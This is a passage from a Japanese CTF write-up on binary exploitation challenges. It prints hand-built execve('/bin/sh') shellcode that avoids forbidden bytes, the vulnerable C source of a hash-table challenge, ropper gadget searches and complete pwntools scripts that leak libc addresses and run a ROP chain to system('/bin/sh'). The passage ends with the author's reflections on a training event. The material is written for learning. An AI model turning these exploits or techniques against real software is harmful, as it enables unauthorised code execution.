0x7ffda50d4f80|+0x0040|+008: 0x000000017e38a040
0x7ffda50d4f88|+0x0048|+009: 0x000056157e38b231 <main> -> 0xe5894855fa1e0ff3
rbp+0x28の位置にmain関数のアドレスが格納されていることが分かりました。よって、まず最初は以下のようなシェルコードを作成しました。
0: 5b pop rbx
1: ff 55 28 call QWORD PTR [rbp+0x28]
これで、rbxレジスタにはmain+174のアドレスが格納されたので、2週目では、rbxがmain+74に向くようにして、更にedxレジスタの値を調整するシェルコードを作成します。
b3 7b mov bl,0x7b
b2 ff mov dl,0xff
ff d3 call rbx
注意点として、call rbxかjmp rbxかでスタックのアライメントが変わるため、アライメントの状況に応じて使い分ける必要があります。今回であれば、1回目、2回目共にcallにすることで突破することが出来ました。
これで、read(0,buf,0xff)を呼ぶことができたので、後は禁止文字に気を付けながら通常のシェルコードを呼べばよいです。せっかくなので、tiny-executeの時に考えた後から2倍にして禁止文字を回避するシェルコードを使用しました。
0: 48 31 d2 xor rdx,rdx
3: 48 31 f6 xor rsi,rsi
6: 56 push rsi
7: 48 bb 17 b1 34 b7 97 movabs rbx,0x34399797b734b117
e: 97 39 34
11: 48 d1 e3 shl rbx,1
14: 48 ff c3 inc rbx
17: 53 push rbx
18: 54 push rsp
19: 5f pop rdi
1a: 6a 3b push 0x3b
1c: 58 pop rax
1d: 0f 05 syscall
解答
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+172
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
p = start()
ru("Input shellcode > ")
sn(b"\x5B\xFF\x55\x28")
sn(b"\xB3\x7B\xB2\xFF\xFF\xD3")
sn(b"\x48\x31\xD2\x48\x31\xF6\x56\x48\xBB\x17\xB1\x34\xB7\x97\x97\x39\x34\x48\xD1\xE3\x48\xFF\xC3\x53\x54\x5F\x6A\x3B\x58\x0F\x05")
p.interactive()
別解
rbxレジスタにリターンアドレスを格納していましたが、rdxレジスタを用いてmain+74へのアドレスを作り、そのままそこへ飛ぶと、main+74へのアドレスがread関数のサイズとして扱われてほぼ無制限に入力することができるようになります。こちらの方法なら1周早く解くことができます。
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+172
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
p = start()
ru("Input shellcode > ")
sn(b"\x5A\xB2\x7B\xFF\xE2")
sn(b"\x48\x31\xD2\x48\x31\xF6\x56\x48\xBB\x17\xB1\x34\xB7\x97\x97\x39\x34\x48\xD1\xE3\x48\xFF\xC3\x53\x54\x5F\x6A\x3B\x58\x0F\x05")
# 0: 5a pop rdx
# 1: b2 7b mov dl,0x7b
# 3: ff e2 jmp rdx
p.interactive()
non-aligned2(Hard)
概要
source code(non-alignedと同じ)
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
struct entry {
uint32_t reserved;
uint64_t hash;
} __attribute__((__packed__));
uint64_t calc_hash(char *buf, size_t len) {
uint64_t result = 0;
for (size_t i = 0; i < len; i++) {
result = result * 127 + buf[i];
}
return result;
}
size_t readline(char *buf, size_t size) {
char ch;
size_t i;
for (i = 0; i < size; i++) {
if (read(0, &ch, 1) == 0) {
break;
}
if (ch == '\n') break;
buf[i] = ch;
}
return i;
}
void chal() {
int idx;
struct entry entries[10];
char buf[128];
memset(entries, 0, sizeof(entries));
while (1) {
memset(buf, 0, sizeof(buf));
printf("1. New hash\n2. Show hash\n> ");
int menu = 0;
scanf("%d", &menu);
switch (menu) {
case 1:
printf("Index: ");
scanf("%d%*c", &idx);
printf("Input> ");
size_t s = readline(buf, 100);
entries[idx].hash = calc_hash(buf, s);
break;
case 2:
printf("Index: ");
scanf("%d%*c", &idx);
printf("Hash: 0x%llx\n", entries[idx].hash);
break;
default:
printf("bye.\n");
return;
}
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
chal();
return 0;
}
security
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled PIE enabled
non-alignedとの変更点はNX bitが有効になってスタック領域上で命令を実行することができなくなった点です。つまりROPを駆使してシェルを奪うことになります。こちらの問題は、方針が分かっても良いgadgetが見つからず、公式writeupの内容を確認しながら進めました。
gadget探し
まず最初の流れはnon-alignedと同じで、elfのアドレスをリークします。また今回はROPを行うため、libcのアドレスもリークします。これについてはelfの時と同様なので省略します。
libcもリークできているので、後はrdiレジスタに/bin/sh\0が格納されているアドレスを代入してsystem("/bin/sh\0")を呼ぶだけなのですが、ここからが大変でした。まず、non-alignedの時とソースコードは同じなのでおさらいするとentry構造体型の配列entriesに範囲外参照の脆弱性が存在し、entries[n].hashを介してある程度は自由な場所に読み書きできるという状況でした。しかし、entries[n].reservedのエリアには基本的にアクセスできません。entries[n].hashをffで表すと以下のような配置になっています。
ptr + 0x0 | 00000000 ffffffff
ptr + 0x8 | ffffffff 00000001
ptr + 0x10 | ffffffff ffffffff
ptr + 0x18 | 00000002 ffffffff
ptr + 0x20 | ffffffff 00000003
ptr + 0x28 | ffffffff ffffffff
ptr + 0x30 | 00000004 ffffffff
ptr + 0x38 | ffffffff 00000005
ptr + 0x40 | ffffffff ffffffff
ここで、rdiレジスタに何か値を設定しようとすると、
ptr + 0x0 | 00000000 ffffffff
ptr + 0x8 | ffffffff 00000001
ptr + 0x10 | ffffffff ffffffff
ptr + 0x18 | 00000002 ffffffff
ptr + 0x20 | ffffffff 00000003
ptr + 0x28 | dddddddd dddddddd
ptr + 0x30 | 00000004 ffffffff
ptr + 0x38 | ffffffff 00000005
ptr + 0x40 | ffffffff ffffffff
例えば、ptr + 0x28のところに値を設定したら、それをpopするには、ptr + 0x10のところにpop命令を書くのですが、最低でも3回popしないとレジスタに格納することはできません。更に、3回だけだと、ptr + 0x30の位置がリターンアドレスとなってしまいますが、ptr + 0x30~ptr + 0x33の位置は書き換えることができず、何が入っているか分からないためおそらくここで終わってしまいます。というわけで、続けるためには更にもう2回popをして、計5回popをするgadgetを見つける必要があり、また、そのgadgetの3回目のpopでようやく1つの目的の値を取得できるという流れになっています。試しに探してみると
└─$ ropper -f libc.so.6 --search "pop ???; pop ???; pop ???; pop ???; pop ???; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop ???; pop ???; pop ???; pop ???; pop ???; ret
[INFO] File: libc.so.6
0x000000000017a236: pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
0x00000000000a7127: pop rax; pop rbx; pop r12; pop r13; pop rbp; ret;
0x000000000010f753: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000002b465: pop rbx; pop r12; pop r13; pop r14; pop rbp; ret;
0x00000000000916bc: pop rbx; pop r12; pop r13; pop r15; pop rbp; ret;
0x00000000000aff79: pop rbx; pop r12; pop r14; pop r15; pop rbp; ret;
0x0000000000110a46: pop rbx; pop rbp; pop r12; pop r13; pop r14; ret;
0x000000000002a86d: pop rsp; pop r13; pop r14; pop r15; pop rbp; ret;
8種類のgadgetが見つかります。このうち、正常な値を取得できるのは3回目のpopだけなので、設定できるレジスタはr12,r13,r14レジスタのいずれかということになります。続いて、これらのレジスタを経由してrdiレジスタに値を入れるgadgetがないか探してみました。使えそうなgadgetとしては
0x00000000000af8b8: mov rdi, r12; call rax;
0x00000000000a8247: mov rdi, r12; call rbx;
0x0000000000171bcb: mov rdi, r12; call rcx;
0x00000000000497be: mov rdi, r13; call rax;
0x0000000000064785: mov rdi, r13; call rbx;
0x000000000002bed4: mov rdi, r14; call rax;
0x0000000000151a0f: mov rdi, r14; call rbx;
0x000000000016d4ab: mov rdi, r14; call rcx;
が挙げられますが、いずれも最後にcall命令で何かしらを呼んでしまいます。どうせsystem関数を呼ぶので、raxかrbxかrcxレジスタにsystem関数のアドレスを代入する方法を考えます。しかし、配置的にpop5連続相当のgadgetでないと値を設定することができず、3回目のpopでraxかrbxかrcxレジスタに代入するgadgetは見当たらないため、ここで詰まりました。自分が考えていた方法として、場所によっては末尾4バイトが書き換えられるため、そこにlibcのアドレスがうまく配置されていれば、別のgadgetに向けることはできますが、今回はそのような場所にlibcのアドレスは配置されていませんでした。
ここで公式のwriteupを確認してみると、pop5連続のgadgetでなくてもそれ相応の動作をしてくれるgadgetがありました。それがadd rsp, ???系の命令を含むgadgetです。
└─$ ropper -f libc.so.6 --search "add rsp, 0x10"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: add rsp, 0x10
[INFO] File: libc.so.6
0x0000000000183924: add rsp, 0x10; mov eax, ebx; pop rbx; pop r12; pop rbp; ret;
0x00000000001396f3: add rsp, 0x10; mov eax, edx; pop rbx; pop r12; pop rbp; ret;
0x000000000016c796: add rsp, 0x10; mov eax, r12d; pop rbx; pop r12; pop rbp; ret;
0x0000000000086837: add rsp, 0x10; mov rax, 0xffffffffffffffff; pop rbx; pop r12; pop rbp; ret;
0x000000000004a1d7: add rsp, 0x10; mov rax, rbx; pop rbx; pop r12; pop rbp; ret;
0x0000000000044d31: add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
0x00000000000586e0: add rsp, 0x10; pop rbx; ret;
0x000000000011ad65: add rsp, 0x1010; pop rbx; pop r12; pop rbp; ret;
この中で、0x0000000000044d31: add rsp, 0x10; pop rbx; pop r12; pop rbp; ret; であれば、pop5連続相当のことを実施しながら、rbxレジスタに値を設定することができます。あとはこれらのROPを配置するだけです。
解答
ans.py
from pwn import *
#context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *chal+322
b *chal+416
b *chal+492
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
def menu(num):
ru("1. New hash\n2. Show hash\n> ")
sl(num)
def add(index,data="hoge"):
menu(1)
ru("Index: ")
sl(index)
ru("Input> ")
sl(data)
def show(index):
menu(2)
ru("Index: ")
sl(index)
ru("Hash: ")
return int(rl().rstrip(),16)
def invert_hash(result):
"""
calc_hash で得られた result から buf の候補を復元する。
buf[i] は 0〜255 の範囲に制限される。
"""
buf = []
while result > 0:
# 下位の文字(最後に足された値)は result % 127
c = result % 127
if c > 255:
raise ValueError("復元不可能な値です")
buf.append(c)
result //= 127
# 逆順に並べ替えてバイト列を得る
buf.reverse()
return bytes(buf)
p = start()
# for i in range(50):
# print("i = " + str(i))
# print(hex(show(i)))
# phase1 leak libc and elf
libc.address = show(39) - 0x8b - libc.symbols["__libc_start_main_impl"]
show_addr(libc.address)
addr_system = libc.symbols["system"]
addr_bin_sh = next(libc.search(b"/bin/sh\0"))
rop_pop5_rbx = libc.address + 0x0000000000044d31 # add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
rop_pop5_r14 = libc.address + 0x000000000002a86c # pop r12; pop r13; pop r14; pop r15; pop rbp; ret;
rop_pop2 = libc.address + 0x00000000000584d7 # pop r12; pop r13; ret;
rop_mov_rdi_call_rbx = libc.address + 0x0000000000151a0f # mov rdi, r14; call rbx;
elf.address = show(47) - 0x25 - 0x10a0
show_addr(elf.address,"elf_base")
rop_ret = elf.address + 0x000000000000101a
# phase2 return addr → ret
add(24,invert_hash((rop_ret & 0xffffffff) << 32))
# phase3 build ROP and call system
add(25,invert_hash(rop_pop5_r14))
add(27,invert_hash(addr_bin_sh))
add(29,invert_hash(rop_pop5_rbx))
add(31,invert_hash(addr_system))
add(33,invert_hash(rop_pop2))
add(35,invert_hash(rop_mov_rdi_call_rbx))
menu(3)
p.interactive()
感想
CTFの問題を当日解いた問題含め一通りゆっくり解いてみましたが、講義資料の内容+αの知識で解ける内容になっていてすごいなと感じつつ、これを4時間以内で解くにはまだまだ実力不足だなと痛感しました。特に文字数制限の厳しかったり、禁止文字があったりするシェルコード問に関しては、自分でバイト数を気にしながら命令を考える必要があり、慣れていないとこれだけで終わってしまうため非常に良い勉強になりました。また、Easyのcan-you-get-a-shellに関しては、rdiレジスタに設定しないとlibcリークできないと勝手に思い込んでいたことで時間を無駄に浪費してしまったため、柔軟な思考を持ちたいなと思いました。
総評です。自分がpwnの勉強を始めたのは約1年半前で、そのときは独学で進めていたため、どのようなルートで勉強していけばよいのか分からず、とにかくひたすら問題を解いて勉強していましたが非常に非効率でした。しかし、今回のイベントでは、たったの2日間でスタックベースの基本的な攻撃手法を抑えることができ、また詳細に書かれている講義資料と安心最強の講師陣がサポートしてくれます。間違いなくコスパ最強だと思います。これが無料なのは正直バグです(それくらい熱がこもっていました)。どのような形式なのかは分からないですが、第2弾もあるかもしれないということなので、もしも「Binary Exploitation」に少しでも興味を持っている方がいて参加を迷っている方がいましたら、全力で参加することをお勧めします。
-
SECCONの運営の方も作成してくださっていますからね! ↩
